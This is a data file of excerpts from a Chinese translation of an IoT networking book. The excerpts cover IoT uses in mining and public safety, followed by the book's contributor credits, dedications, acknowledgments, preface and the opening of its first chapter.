    {"text": "图14-8 物联网应用于采矿业的示例 14.3.1 改善安全和定位服务 在用于采矿作业的所有可能的物联网应用中，对于所有采矿经营公司来说，首先想到的是安全。"},
    {"text": "■ 生理测量：司机可能会被要求佩戴腕带（类似于健身追踪器），测量心率、呼吸模式和其他因素，当这些模式提示司机困倦时，就会发出警报。"},
    {"text": "虽然陆地移动无线电（LMR，又称为对讲机或手持式对讲机）解决方案已经取得了进展，其中包括通过内置GPS传感器跟踪无线电的能力，但这些解决方案在室内或地下都不起作用，而且可能无法为每个矿工提供定位资产的能力。"},
    {"text": "其中的一些解决方案需要使用关键点和信号灯（以检测资产何时接近或离开给定位置），其他解决方案则使用网络设备的信号强度或信号传输时间（如到达时差[TDoA]），通过三边测量（圆的交点）来确定位置。"},
    {"text": "虽然这些解决方案可能无法提供与GPS相同的定位精度（根据环境和建筑，三边定位精度在3～25米之间变化），但它们有助于在无法获得GPS信号的情况下定位资产或工人。"},
    {"text": "这在紧急情况下是非常重要的，因为它可以使急救人员立即获取工人的位置（无须人工呼叫和计数），并根据事故的位置和工人与该位置的距离，将他们的努力集中在最需要救援的地方。"},
    {"text": "除紧急情况外，工人跟踪可能还有助于在地面上发现工人时向卡车司机发出警报（卡车通常装有传感器和雷达，当在附近发现车辆或人等较小的物体时，这些传感器和雷达会发出警报）。"},
    {"text": "如今，物联网传感器可以实时地向操作人员通报矿井内任何地方是否存在一氧化碳，并显示一氧化碳的积聚趋势。 物联网系统还可以根据检测到的一氧化碳来调节通风，并根据卡车（产生一氧化碳的卡车）和人的存在来进一步调节通风。"},
    {"text": "其中有一些便携式系统能够直接连接到网络，或者利用能够支持工业无线协议（如ISA100.11a和WirelessHART，两者都在第4章中定义）的网关连接到网络。"},
    {"text": "为了提高尾矿池溃坝检测的平均时间，同时降低人工检查尾矿池大坝完整性的劳动成本，许多矿山运营公司现在都安装了物联网系统来监测尾矿池的情况。"},
    {"text": "图14-11 带有传感器的尾矿池土坝（左）和压电式地面监测传感器的特写（右） 14.3.3 提高效率 物联网在采矿业领域最令人兴奋的用例之一是提高效率。"},
    {"text": "这种消耗包括每小时50加仑柴油的重型设备（取决于设备类型和负载）、为地下矿井通风的设备，以及运行破碎机和将矿石加工成可用矿物所需的大量电力。"},
    {"text": "在燃油效率方面，应用程序可以为运输卡车建议最省油的路线（计算最短路线，并避免检测到的斜坡和颠簸），或监测司机的行为，并报告次优驾驶模式。"},
    {"text": "虽然半双工LMR系统和语音电话服务仍然是采矿作业的一个重要部分，但现代技术和连通性极大地增强了这些系统的功能，允许使用更丰富的通信方法提高效率。"},
    {"text": "例如，技术人员在矿区可以使用IP连接的加固计算设备的视频功能发送设备图片甚至实时视频，以获得工程师的远程协助，从而大大减少维修时间。"},
    {"text": "与许多工业和制造业的物联网系统一样，采矿业系统应该而且通常遵循普渡控制层次模型或ISA99/IEC-62443框架，将工厂网络划分为逻辑区域（有关控制层次的普渡模型的更多信息，请参阅第2章）。"},
    {"text": "将单个过程区域分组到其自己的单元/区域中并不罕见，但是使用适当的DMZ（有时称为数据二极管）将这些区域与业务或企业网络分隔开来，可以保护工业系统免受外部威胁，这一点非常重要。"},
    {"text": "除了物联网系统的DMZ，传统的安全最佳实践还包括网络认证、基于角色的访问控制、定期打补丁、控制平面监控、系统日志审核以及其他相关行业的最佳实践。"},
    {"text": "由于射频（RF）的特性，以及其他系统有可能产生无意的有害干扰，协调在特定站点上实现的所有无线通信技术是极其重要的，无论无线通信的类别、技术或应用是什么。"},
    {"text": "事实上，采矿作业中可以使用多种无线技术来实现物联网通信。 无线技术对于大多数矿山来说是极其重要的，因为它能够连接固定设备、移动设备以及人员。"},
    {"text": "例如，一个2.4GHz的无线视频发射机（非WiFi）可以影响到附近的2.4GHz 802.11无线网络流量，并且在没有RF频谱分析仪的情况下很难检测到。"},
    {"text": "除了需要传统的IEEE 802.11无线局域网的技术外，设计和维护矿山中的IEEE 802.11无线网络还要求精通路径损耗计算、读取天线主平面图、理解菲涅耳效应，并熟悉监管规则。"},
    {"text": "客户端设备可以使用自己的802.11 WLAN适配器连接到无线网状网络，或者通过有线以太网连接到工作组网桥（WGB），工作组网桥又连接到无线网状网络、工作组网桥是配置为客户端的访问点。 与传统的WLAN客户端接口相比，工作组网桥具有显著的优势，包括集中式管理、高RF输出、能够通过单个WGB连接多个有线客户端、可选的远程安装和外部天线，以及附加的第2层/第3层功能（取决于WGB的型号）。"},
    {"text": "■ 背对背或菊花链：对于没有为每个功能包含足够专用无线电的接入点（一个2.4GHz的无线电用于客户端连接，两个5.8GHz的无线电用于回程），可以使用两个连接在一起的接入点创建一个虚拟的串行回程映射。"},
    {"text": "图14-13 露天矿场的WiFi部署实例 图14-14 用于采矿的WiFi网状结构 图14-15 移动无线MAP示例 1.802.11无线网状网络回程注意事项 采矿环境，包括地下矿山，对电子设备来说是非常恶劣的。"},
    {"text": "所有这些传感器都能完整地显示卡车的工作状态及其在空间中的位置、行驶特性（轨迹、倾角和在矿山中的位置）和负载信息（重量、体积和每个车轮上的压力）。"},
    {"text": "传感器可以帮助装载机穿过尘雾（参见图14-18的左侧）也能感知到运输卡车的位置，使装载机司机（或无人驾驶装载机的计算机）在开始装载卡车之前到达正确的范围和角度。"},
    {"text": "14.4.3 4G/LTE 由于大多数采矿作业地处偏远，商用的4G/LTE服务通常无法使用，而且在这些服务可用的情况下，它们的速度、成本和可靠性可能无法满足采矿运营公司的要求。 然而，在一些监管领域（例如，澳大利亚中部的许多矿山，以及加拿大的一些地方），矿山运营公司可能会选择安装和运行私有4G/LTE服务。"},
    {"text": "与商业LTE相比，私有LTE的另一个优点是可以根据矿山的需要进行定制，包括QoS、无线网络的同步维护调度等。 采矿业有特定的要求，如双向实时视频或车队自主管理，这与传统商业LTE的要求有很大的不同（例如，LTE更适合单向视频流）。"},
    {"text": "解决这一问题的解决方案包括泄漏同轴电缆（充当长天线的电缆）和传统的分布式天线系统，以及无线网状设计，在这个无线网状设计中，通过射频或有线以太网整合了数据电缆或菊花链。"},
    {"text": "此外，一根长电缆可能会发生这样的情况，即在隧道的两个不同部分，两个客户端可能同时将流量发送到同一根泄漏电缆，从而导致未检测到的冲突。"},
    {"text": "14.4.5 工业无线 无线局域网和4G/LTE在高速双向传输数据方面做得很好，但它们的覆盖范围有限，功耗较大。 IEEE 802.15.4无线网络（在第4章深入讨论过）可以提供更好的覆盖范围和更低的总功耗，代价是数据吞吐量不大。"},
    {"text": "图14-20 整合了IEEE 802.11和IEEE 802.15.4的工业无线解决方案的网络拓扑结构 14.4.6 孤立的矿山网络和连接的矿山网络 图 14-21 显示了一个矿山的无线网络拓扑结构示例。"},
    {"text": "任何其他设备（如传感器和其他协议网关）也可以使用PoE输出端口。 例如，坡度传感器是通常连接到网状网络的设备，它们可以从PoE输出端口供电，也可以有自己的电源。"},
    {"text": "矿区的网络部署可能有限，但足以确保正确的运营（例如，位置追踪和通信），而更高级的计算任务（例如，坡度监测、3D制图）则可能在远程控制中心执行。"},
    {"text": "例如，一些采矿调度系统依赖广播消息来进行服务器和客户端设备之间的通信，因此需要将第2层连接从服务器机房扩展到整个矿区的运货卡车和其他重型设备。"},
    {"text": "例如，安装在推土机铲刀上的GPS传感器可以引导操作员更准确地定位铲刀，并测量和记录推土机运动产生的新地形。 铲斗上的GPS传感器可以记录下每一铲的准确位置。"},
    {"text": "14.5 小结 采矿业是全球供应链中极其重要的一部分，它提供了生产各种产品所需的矿物质，从金属、电池、电子元件到我们用来做饭的盐，以及用来发电和取暖的煤。"},
    {"text": "物联网正在迅速改变矿区的运营方式。 物联网使矿区比以往任何时候都能更有效、更安全地运营，为矿业运营公司、企业和消费者提供了切实的成果。 通过向系统和矿区运营公司提供关键的实时信息，物联网降低了风险，而在 10 年前，这种风险还被认为是垂直行业的一个不幸但自然的后果。"},
    {"text": "尽管物联网是一个相当新的概念，但它已经对公共安全产生了深远的影响，人们对实时信息和态势感知的需求一直存在。 物联网是一个可以感知和传输数据的物理对象网络。"},
    {"text": "公共安全是一个广泛的领域，包括消防和应急响应人员、执法和安全部队（在公共场所以及特定位置，如学校）、海岸警卫队和国防、海关和边境保护局，以及涉及公众和需要确保安全的许多其他领域。"},
    {"text": "与公共安全相关的智能对象的新应用每天都会出现，以至于一些作者创造了物联网的新类别，如第一响应者物联网（IoFST）或救生物联网（IoLST）。"},
    {"text": "本书作者认为，谨慎的做法是简单地使用物联网一词，研究物联网在公共安全方面的应用，同时要认识到这些应用广泛包含下面这3种类型的智能对象。"},
    {"text": "■ 由第一响应者携带的物体：这些物体可以是专门的传感器，如第一响应者生命体征记录器和发射器，以及收集有关温度、化学品存在情况和任何其他参数信息的环境传感器，这些信息可能有助于第一响应者评估危险，以便立即采取行动或进行事后分析。"},
    {"text": "■ 帮助紧急服务呼叫者或受害者的对象：该类别一般包含大量各种各样的医疗设备，从基本的应急按钮（连接到应急反应的呼叫系统）到先进的医疗传感器（例如，健康监测器可以触发警报，并通过手机自动呼叫应急响应人员，提供检测到的问题的详细信息）。"},
    {"text": "在边缘收集和处理数据（雾计算）需要物联网解决方案，而将收集和处理的数据子集实时转发到云端，特别是在数据量超过上行链路能力的位置和情况下更需要物联网。"},
    {"text": "可用信息的数量已经非常庞大，物联网正在推动对高级工具和分析（例如，大数据、机器学习）的需求，以确保事件和模式得到识别，从而做出及时、准确的响应。"},
    {"text": "消防员和紧急救援人员也存在类似的例子，他们共享数据信息（如建筑和施工计划、危险物质特性、医疗历史和处方药信息），并与远程专家和医生进行咨询。"},
    {"text": "另一个例子涉及校车，其中交通主管可以立即查看校车上发生的争吵事件，评估事态，并采取适当的行动，例如向执法人员提供有关事件的重要背景或实时数据，包括实时视频。"},
    {"text": "许多机构还可能参与收集或提供有关交通、公用事业、学校或任何其他公众感兴趣的信息，如道路危险情况、天气状况、日历事件和时间表，以及电力和水的可用性。"},
    {"text": "非政府组织和个人与公共安全机构相互作用，并依靠公共安全机构在许多不同的环境中为公众提供支持——从街道和高速公路、办公楼和校园、购物中心和当地企业，到公园和娱乐场所。"},
    {"text": "一个重要的发现是，这些“物体”不仅仅是传统的传感器，比如光学、声学、压力、流体速度、湿度、温度、接近度、位置、化学和磁性传感器。"},
    {"text": "每个非政府组织及其各种建筑物和业务类型都在通过警报系统、摄像头、烟雾探测器以及其他各种传感器生成有用的信息，甚至政府机构、它们的车辆和工作人员也在通过智能停车计时器、智能路灯、下一代交通系统和联网车辆等方式，为物联网增添数据。"},
    {"text": "19世纪后半叶，萨缪尔·莫尔斯、亚历山大·格雷厄姆·贝尔、托马斯· 爱迪生和古格里莫·马可尼等发明家发明了莫尔斯电码、电报、电话、无线电以及通过电磁波无线传输和接收信息的新功能。"},
    {"text": "例如，在一些国家，机场当局已经将一个人的身份（护照数据）与他们的照片（通过值机柜台的安全摄像头采集）、手提箱的照片联系起来。 当一个人在另一个城市着陆时，该数据集将与形状和人脸识别相结合，并在此人接近柜台时显示在海关人员的监视器上。"},
    {"text": "■ 移动指挥中心和应急通信站点：这些是需要部署的临时位置，有时需要快速部署，以便为突发事件指挥、专门小组或公共安全任务中不可或缺的类似功能提供支持。"},
    {"text": "15.2.2 任务结构 在公共安全企业中，任务连续体和各种平台通过任务结构（mission fabric）相互连接。 任务结构是一个动态和灵活的概念，使固定和移动平台保持连接。"},
    {"text": "这意味着可以支持任何现代有线或无线技术：以太网、串行、SONET和DWDM光纤、MPLS、WiFi、商用或专用蜂窝网络、点对点和多点微波、移动自组网和卫星。"},
    {"text": "任务结构必须提供与位置特征（固定或移动平台）无关的无缝集成。 任务结构还确保对云中的资源的访问是统一的，并且与云类型（公共、私有或混合）无关。"},
    {"text": "例如，一个消防安全官员团队应该具备与团队协作并共享关键信息的能力，无论他们在固定的基础设施现场、事故指挥所、机动响应车辆中还是步行。"},
    {"text": "许多国家有各种各样的公共安全机构，例如PSAP（公共安全应答点，用于响应应急呼叫），EOC（应急行动中心，一个或多个机构在这里开会以协调应对突发事件）、融合中心（通常是情报中心，收集、分析和传播信息到当地机构）和LMR（陆地移动无线服务，用于管理一个或多个本地机构之间的关键任务的语音通信）。"},
    {"text": "虽然技术可以改进，使急救人员能够更好地沟通，但一个未被关注的事实是，警察、消防人员和紧急救援人员的工作方式不同，使用的工作语言也不同。"},
    {"text": "一个更好的模型可能是为中级主管和事件指挥人员提供一套强大的工具，用于语音和视频协作、资产位置跟踪和态势感知，他们可以使用多个操作协议，并提供更好的跨部门协调工作。"},
    {"text": "随着物联网解决方案在公共安全领域变得越来越普遍，它们需要进行调整，特别是在现有的对话协议、操作方法和战术程序方面，以弥补各机构的任务。"},
    {"text": "应急响应人员（警察、消防员和急救人员）在非常特殊的环境中工作。 与大多数其他行业的工作人员不同，应急响应人员在不可预知的环境中工作。"},
    {"text": "应该选择IP服务水平协议（IP SLA）、链路跟踪、双向转发检测（BFD）和路由协议等工具，这些工具能够实时识别条件并更改当前操作配置，以确保始终在线上行，同时根据任务需求优化并平衡带宽和成本。"},
    {"text": "一些公共安全机构正在使用一种称为MANET（移动自组织网络）的独特无线技术。 MANET无线技术能够自己形成对等网络。 当两个或两个以上的MANET无线网络可以互相连接时，它们可以建立一个高速的第二层链路。"},
    {"text": "作为公共安全事业的一部分，移动指挥中心必须提供与机构远程办公室类似的安全通信和数据隐私支持。 由于移动指挥中心使用与远程办公室类似的设备，因此可以在两端实现相同的安全策略和功能。"},
    {"text": "图15-6 WiFi通信架构 虽然车辆上的接入点配置为提供本地服务，但集中式管理方法提供了更高的安全性和一致性（中心团队管理所有部署的无线系统，而本地团队专注于任务）。"},
    {"text": "大多数卫星调制调解器提供商都试图通过实现性能增强代理（Performance Enhancement Proxy，PEP）或类似的服务来解决这个问题，以便动态地检查和改变网络流中的TCP窗口大小。"},
    {"text": "在这种情况下，可以在路由器后面安装本地服务，通过WAN链路提供PEP功能和压缩，如图15-7所示。 ■ 设备或虚拟机：本地PEP服务可以是独立的设备、虚拟机或嵌入到路由器中的模块。"},
    {"text": "它允许移动指挥中心在与企业云连接或不连接的情况下进行操作。 当指挥中心可以访问企业云时，网络语音、视频通话等服务可以保证安全，降低运营成本。"},
    {"text": "在独立模式下，指挥中心和语音服务提供商之间可以直接通过互联网连接建立VoIP语音服务。 只要指挥中心至少有一条上行链路能够接入互联网，就可以建立语音服务。"},
    {"text": "在运营环境中，办公空间和对物理电话或视频终端的访问可能是有限的，拥有这样一个灵活的通信工具可以增加人员的可用性，并降低事故的复杂性。"},
    {"text": "在移动指挥中心中拥有这种灵活性可以允许平台根据事件承担各种角色，例如PSAP恢复解决方案、事件指挥所、联合作战和协调中心或特别任务组任务。"},
    {"text": "图15-9 智能手机上的通用操作界面（COP） 15.3.2 移动交通工具——陆、空、海 公共安全移动交通工具架构如图15-10所示，描述了用于公共安全的各种移动平台。"},
    {"text": "图15-10 陆地、空中和海上移动交通工具 1.网络及安全服务 陆地、空中和海上交通工具需要能够满足SwaP和强化规模的路由、交换、无线、安全和计算能力。"},
    {"text": "对于紧急服务车辆，其结果是车载导航系统可以考虑应急车辆的速度和铁路道口的可用性，从而在必要时动态地改变车辆的路线，避免在封闭的铁路道口浪费时间。"},
    {"text": "因此，反应小组可以获得与任务有关的有用数据，例如建筑物的楼层数、楼层平面图、住户人数、附近消防栓的位置、该地点或附近地点的犯罪记录、附近环境传感器的数据（例如，是否存在烟雾、有害气体）。"},
    {"text": "负责LTE和未来蜂窝技术的标准组织“第三代合作伙伴计划”（3GPP）正在研究一种解决方案，使蜂窝智能手机和类似设备能够以独立于基础设施的模式（即“对讲模式”）运行。"},
    {"text": "这些应用程序是基于客户端/服务器的，这意味着它们能够访问车辆中有限的计算能力，并且依赖于上行链路连接和企业云来访问应用程序和数据存储库。"},
    {"text": "图15-12 校车安全通信架构 15.5.1 校车位置及学生上下车情况 家长和学校工作人员每天面临的一个大问题是需要知道校车的位置，以及学生是否在校车上。"},
    {"text": "交通主管部门还可以大致了解校车到达给定位置（可能是校车停放场地）的时间，并且如果校车已经超出了预先定义的边界，则可以发出警报（这就是所谓的地理围栏）。"},
    {"text": "这种类型的报告是用于确定某个司机是否在公交车站为寄宿学生安全就坐而提供了足够时间，或者某个司机消耗的燃油与里程不合理，原因是在一条路线上花费了过多的空转时间。"},
    {"text": "15.5.4 视频监控 校车安全解决方案最广泛使用的一个功能是视频监控。 视频监控可以用来监控学生在校车上的安全，也可以用来记录发生事故时校车外的情况，以防发生事故或司机非法超车。"},
    {"text": "图15-14 公交车摄像头的实时显示 许多国家/地区不允许司机对停驶的校车超车，因为孩子们可能会在校车周围走来走去或横穿马路，而没有仔细注意可能发生的交通状况。"},
    {"text": "在常见的部署中，用于捕捉车牌号码的高清视频需要较大的带宽进行传输，因此视频被存储在本地的校车摄像头上，当校车回到停车场时通过WiFi上传。"},
    {"text": "与紧急救援人员携带的传感器、嵌入到车辆内或集成到周围环境中的传感器进行交互，增强了紧急救援人员的意识，并允许反应小组能够更大规模地应对突发事件，同时通过控制红绿灯缩短其响应时间，通过访问紧急区域环境传感器来收集更快更好的信息，并通过支持在人群中识别出机器学习运动模式来更快地做出反应。"},
    {"text": "未知 章节贡献人 以下章节的内容由具有相关行业知识的特定人员提供，在此向他们表示感谢。 物联网的数据和分析（第7章）： Brian Sak，CCIE #14441，Cisco大数据分析部门技术解决方案架构师。 Cisco Kapil Bakshi，美国公共部门大数据与云计算杰出系统工程师。 物联网安全（第8章）： Robert Albach，Cisco工业安全投资组合部高级产品经理。 Rik Irons-McLean，Cisco能源解决方案架构主管。 制造业（第9章）： Brandon Lackey，科技企业家，DronePilots网络公司联合创始人。 Ted Grevers，Cisco物联网垂直解决方案工程经理。 石油和天然气业（第10章）： Willy Fotso Guifo，物联网服务高级经理，Cisco油气垂直行业全球业务主管。 Dimitrios Tasidis，解决方案架构师，Cisco油气垂直行业物联网服务技术主管。 智慧互联城市（第12章）： Munish Khetrapal，Cisco智慧互联城市部门业务发展总监。 Prachi Goel，Cisco智慧互联城市解决方案管理组项目分析师。 采矿业（第14章）： Lyle Tanner，Cisco客户解决方案架构师。 公共安全（第15章）： Kevin Holcomb，Cisco物联网垂直解决方案技术营销工程师。 Kevin McFadden，Cisco垂直解决方案架构师。 未知 关于技术审稿人 Robb Henshaw是Cisco Jasper的物联网云全球通信主管。2016年3月，Cisco收购了全球物联网平台领导企业Jasper，而Robb正是该公司的全球通信高级经理。在加盟Jasper之前，他花了15年的时间来为移动和无线企业建立和运行全球通信项目，这些企业包括Airespace（被Cisco收购）、Proxim Wireless和SugarSync（被J2 Global收购）。 Samuel Pasquier是Cisco企业网络部门（ENG，Enterprise Networking Group）物联网连接产品组合的产品管理团队负责人。他在加利福尼亚州的圣何塞工作，负责与销售团队和工程团队紧密合作，开发整个物联网连接产品组合的产品战略和路线图以及Cisco雾计算软件解决方案（IOx），并且将它们付诸执行。 自2004年以来，Samuel一直供职于Cisco。他在Catalyst 6500的工程团队中担任了6年的软件技术主管。他设计、实现并维护了这个平台上的大量核心基础设施特性。这些经验让Samuel对软件开发和体系结构拥有了非常深刻的理解。他是Catalyst 6500/6800产品线的经理，在Catalyst 6800上市后带领产品经理团队对Catalyst 6500的产品进行了全面的更新。 在担任目前的职务之前，Samuel领导产品经理团队，给Catalyst固定端口系列接入层交换机（Catalyst 2960-X、3750、3650和3850）定义了发展的路线图。 Samuel拥有法国信息与技术学院（EPITA）的计算机科学硕士学位，并经常在网络行业会议中发表演讲。 未知 献辞 感谢我的爱妻Holly。你不仅是我最好的朋友，也是我动力的源泉和我最忠实的拥趸。我生命中的一切成就，无不归功于你无条件给予我的爱和支持。我的孩子Haley、Hannah和Kyle，你们的快乐与祝福让我的生活时刻充满着靓丽的色彩。 我也想把本书献给我伟大的父母。我要把本书献给我父亲，是他激发了我对学习的热忱，并不断激励我去攀登新的高峰，同时我也要把本书献给我母亲，是她给了我攀登这些峰峦的勇气与信念。 ——David Hanes 谨以本书献给我的家人。首先，我要感谢我深爱的妻子和最好的朋友Becky，是她给了我灵感，使我每天都能够梦想成真。我过去、现在、永远都会对你充满感激。致我们4个了不起的孩子：Alejandro、Sofia、Gabri和Mateo，是你们让我的生活中充满了无穷的欢乐、伟大的奇迹和不竭的动力。我爱你们！ 其次，我也要把本书献给我的父母Alberto和Elena，你们是我的灵感来源，是你们让我拥有了今天的一切。对于你们所做的牺牲和付出，我无法用言语来表达我不变的感激之情。 最后，我要把本书献给我的祖母Nelida，她去年刚刚离开了我们。而我直到最近才意识到自己基因中的善良和风度源自何方。 ——Gonzalo Salgueiro 献给Mya和每一位行将生活在物联网时代的人们。 ——Patrick Grossetete 首先，我想把本书献给我美丽的妻子Loretta。你是我最大的拥趸和啦啦队长，在过去的20年里你教会了我很多。如果没有你不断地鼓励（以及我在创作另一本图书时给予的包容和忍让），这些作品将永无问世之日。由于你的支持，我才能够把自己学到的知识传授给下一代互联网工程师。 我还想把本书献给我的父母Richard和Peggy。如果不是你们在我4岁时送给了我第一套乐高玩具，我就不会对科学和工程领域萌发出如此强烈的兴趣。儿时和爸爸探讨物理和微积分的记忆清晰如昨日，我们一起收看“力学世界”（The Mechanical Universe）的场景也历历在目。 我爱你们！ ——Rob Barton 本书献给我的孩子Ines和Hermes。你们的好奇心是我每日进行研究的动力之源。 ——Jerome Henry"},
    {"text": "未知 致谢 我们要感谢在本书写作过程中为我们提供过帮助的人们。 Michael Boland：你的建议和你在采矿业的专业知识都是本书创作过程中的宝贵财富。我们真诚地感谢你为本书写作所付出的时间，以及你提供的宝贵思路与建议。 Maik Seewald：Maik，你是一位真正的互联网工程师！你的协助和建议让本书最终能够解释清楚公用事业领域中标准与协议的方向，让本书中的技术得以紧跟时代发展的步伐。 Rick Geiger：Rick，你是世界上最顶尖的公用事业专家之一。谢谢你对公用事业这一章提供的帮助和建议。 Ken Batke：感谢你对公用事业章节的贡献和指导。非常感谢你的反馈。 Mahyar Khosravi：Mahyar，感谢你在石油和天然气领域为我们提供的专业知识，以及所有对石油和天然气章节提供的反馈和建议。 Dave Cronberger：非常感谢Dave对本书提供的出色指导与反馈。Dave，你从不介意直言不讳地提出建议，让我们的工作重回正轨。你对制造业章节的评论和反馈对我们极为宝贵。 Kyle Connor和Barb Rigel：Kyle和Barb，谢谢你们对运输业章节进行的详细审查与反馈。在这个日新月异的行业，你们提供的指导和见解为整个团队带来了巨大的帮助。 Eleanor Bru：Ellie是本书的开发编辑，和你一起工作非常愉快。感谢你的付出与包容，感谢你让图书审校的过程进行得如此顺利。 Mary Beth Ray：我们还要向Mary Beth表示衷心的感谢，感谢你让我们坚持到底，一路支持我们完成了这个具有挑战性的项目，并且在创作本书中为我们提供了一切必备的素材和支持。 Mandie Frank：作为我们的项目编辑，Mandie帮助我们解决了所有的问题，并完成了本书的最后润饰。谢谢你，Mandie，谢谢你扶持我们走到了最后。 Kitty Wilson：作为我们的文字编辑，感谢你付出了这么长的时间将本书最终定稿。非常感谢你对细节的细致关注。 也要感谢我们的管理团队，感谢你们给予的坚定支持与理解，为了不延误交稿时间，我们都付出了太多的工作。 David要特别感谢Marty Martinez、Rob Taylor、Jitendra Lal和Shane Kirby的指导和支持。 Gonzalo要感谢TS的领导团队，特别是Marc Holloman，Marty Martinez和Tom Berghoff。如果没有他们坚定不移的鼓励、信念和支持，本书也无法出版。 Patrick要感谢物联网连接团队的产品管理和工程团队，正是你们的支持和不懈努力才让这些物联网产品得以问世。 Jerome要特别感谢Matt MacPherson分享了他在企业、5G和物联网融合方面的智慧与远见。 Rob要感谢他的领导团队，包括Rick Huijbregts博士和Bernadette Wightman，你们在本书写作期间给予了他强有力的支持。你们对创新的关注是数字转型革命的核心，同时也让他从中获得了大量的启发。"},
    {"text": "我们周围很多以前没有连接的对象如今已经具备了与其他对象和人通信的能力，这反过来又催生了我们日常生活中的新服务，提升了我们日常生活的效率。"},
    {"text": "本书包含了从技术角度和从商业角度理解物联网所需要的核心元素。 本书分3部分对物联网的基础知识进行了介绍。 第1部分对物联网进行概述，并且从设计角度讲解读者需要了解的内容。 第2部分介绍物联网的技术基础，包括物联网相关的技术和协议。"},
    {"text": "本书会按照顺序对这些知识进行介绍，因此本书不仅是非常好的物联网学习资源，同时也可以在读者将来遇到具体的物联网问题时，为读者提供参考。 本书读者对象 本书的目标读者是那些正在寻找一本权威、详尽的物联网技术读物的网络专业人士。 它主要面向那些在网络技术领域拥有丰富经验，希望掌握物联网基本概念和技术，并且了解如何应用这些概念和技术的读者，从而帮助这些读者达到基本熟练的程度。"},
    {"text": "本书的第1部分旨在帮助读者理解到底什么是物联网，同时对智能对象的范围进行概述，智能对象的范围包括那些以每秒数百次的动作频率进行控制的望远镜镜片，以及每月发送一次生锈信息的传感器。"},
    {"text": "第1章，“物联网是什么” 本章概述物联网的历史和起源，还探讨运营技术（OT）和信息技术（IT）之间的融合，并会给物联网在一般网络环境中所在的位置提供一个参考模型。"},
    {"text": "第2部分，物联网网络工程 一旦读者理解了物联网的范围和物联网网络的一般原则，第2部分将会带领读者深入了解物联网网络工程技术，其中包括智能对象以及将它们与应用程序连接起来的网络，也包括数据分析和安全技术。"},
    {"text": "这一部分对物联网网络的每一层进行详细介绍，并分析每一层现有的协议（那些已经存在很长时间的协议和正在获得支持的新兴协议）、用例和不同架构（可以定义有效的物联网解决方案）。"},
    {"text": "第3章，“智能对象：物联网之‘物’” 智能对象有很多不同的种类，从穿戴之物到安装在墙上、窗户、桥梁、火车、汽车或路灯上的对象，不一而足。"},
    {"text": "本章会指导读者理解构建物联网网络所需的不同要素，其中包括各类连接技术，如802.15.4、802.15.4g、802.15.4e、1901.2a、802.11ah、LoRaWAN、NB-IoT和其他LTE变体；"},
    {"text": "本章还会详细介绍如何使用如6LoWPAN、6TiSCH和RPL等增强功能来优化IP协议，从而适应低功耗和有损网络（LLN），因为物联网通常就是在这类网络中运行的。"},
    {"text": "第7章，“物联网的数据和分析” 在数据中心或云中的某个地方，来自数百万个传感器的数据会被分析并与来自其他数百万个传感器的数据进行关联。"},
    {"text": "第3部分，物联网在行业中的应用 一旦读者知道如何构建物联网网络，第 3 部分就会帮助读者把这些知识应用到正在变革中的关键行业。 通过本部分涉及的 7 个垂直领域，读者会了解如何使用物联网，以及建议使用什么物联网架构来提高这些领域的安全性、操作效率和用户体验。"},
    {"text": "本章将通过GridBlocks参考模型、变电站和控制系统，以及FAN GridBlocks来帮助读者了解智能电网系统，以及物联网如何在这个垂直领域中进行使用。"},
    {"text": "本章会描述应急响应物联网架构，并详细介绍公共安全运营商如何利用物联网来更好地交换信息，并利用大数据来更快、更有效地应对突发事件。"},
    {"text": "未知 资源与支持 本书由异步社区出品，社区（https://www.epubit.com/）为您提供相关资源和后续服务。 提交勘误 作者和编辑尽最大努力来确保书中内容的准确性，但难免会存在疏漏。欢迎您将发现的问题反馈给我们，帮助我们提升图书的质量。 当您发现错误时，请登录异步社区，按书名搜索，进入本书页面，单击“提交勘误”，输入勘误信息，单击“提交”按钮。本书的作者和编辑会对您提交的勘误进行审核，确认并接受后，您将获赠异步社区的100积分。积分可用于在异步社区兑换优惠券、样书或奖品。 扫码关注本书 扫描下方二维码，您将会在异步社区微信服务号中看到本书信息及相关的服务提示。 与我们联系 我们的联系邮箱是contact@epubit.com.cn。 如果您对本书有任何疑问或建议，请您发邮件给我们，并请在邮件标题中注明本书书名，以便我们更高效地做出反馈。 如果您有兴趣出版图书、录制教学视频，或者参与图书翻译、技术审校等工作，可以发邮件给我们；有意出版图书的作者也可以到异步社区在线投稿（直接访问www.epubit.com/ selfpublish/submission即可）。 如果您所在的学校、培训机构或企业，想批量购买本书或异步社区出版的其他图书，也可以发邮件给我们。 如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为，包括对图书全部或部分内容的非授权传播，请您将怀疑有侵权行为的链接发邮件给我们。您的这一举动是对作者权益的保护，也是我们持续为您提供有价值的内容的动力之源。 关于异步社区和异步图书 “异步社区”是人民邮电出版社旗下IT专业图书社区，致力于出版精品IT技术图书和相关学习产品，为作译者提供优质出版服务。异步社区创办于2015年8月，提供大量精品IT技术图书和电子书，以及高品质技术文章和视频课程。更多详情请访问异步社区官网https://www.epubit.com。 “异步图书”是由异步社区编辑团队策划出版的精品IT专业图书的品牌，依托于人民邮电出版社近30年的计算机图书出版积累和专业编辑团队，相关图书在封面上印有异步图书的LOGO。异步图书的出版领域包括软件开发、大数据、AI、测试、前端、网络技术等。 异步社区 微信服务号"},
    {"text": "未知 第1章 物联网是什么 我们来想象这样一幅场景：万物全都连接到了网络当中，并且和其他人或物进行通信，这一切都是为了通过新的服务来提升我们的生活品质。"},
    {"text": "IoT是一个技术过渡阶段，在这个阶段当中，我们可以实现万物的智能化，并且将它们连接到一个智能网络当中，并且由此使用这些设备来认识和控制外在的世界。"},
    {"text": "物联网的世界广阔而又多元，有些读者甚至会认为它有些复杂，这是因为物联网包含了大量的构成元素和不同的协议。 IoT不是一个单一的技术领域，读者不妨将其视为各类概念、协议和技术的总和，而这些概念、协议和技术都不时依赖于某一个行业。"},
    {"text": "在这段时间里，连接到互联网中的设备数量超过了全球的人口数量。 随着连接到互联网中的“物”比与“人”越来越多，一个新的时代就此诞生，这就是物联网的时代。"},
    {"text": "从手机到平板电脑再到笔记本电脑和台式机，连通性已经无处不在。 无处不在的连通性则让通信、协作和社交媒体能够通过各类渠道（包括电子邮件、短信、语音和视频）建立起来。"},
    {"text": "WiFi位置追踪只是通过追踪用户手机连接到哪个商家的WiFi网络，来判断用户正在哪个商家选购的功能。 将WiFi设备或“物”连接到互联网的价值显而易见，这种做法也会得到顾客的欢迎，而实时追踪WiFi客户端的位置也可以给商厦和店家带来商业利益。"},
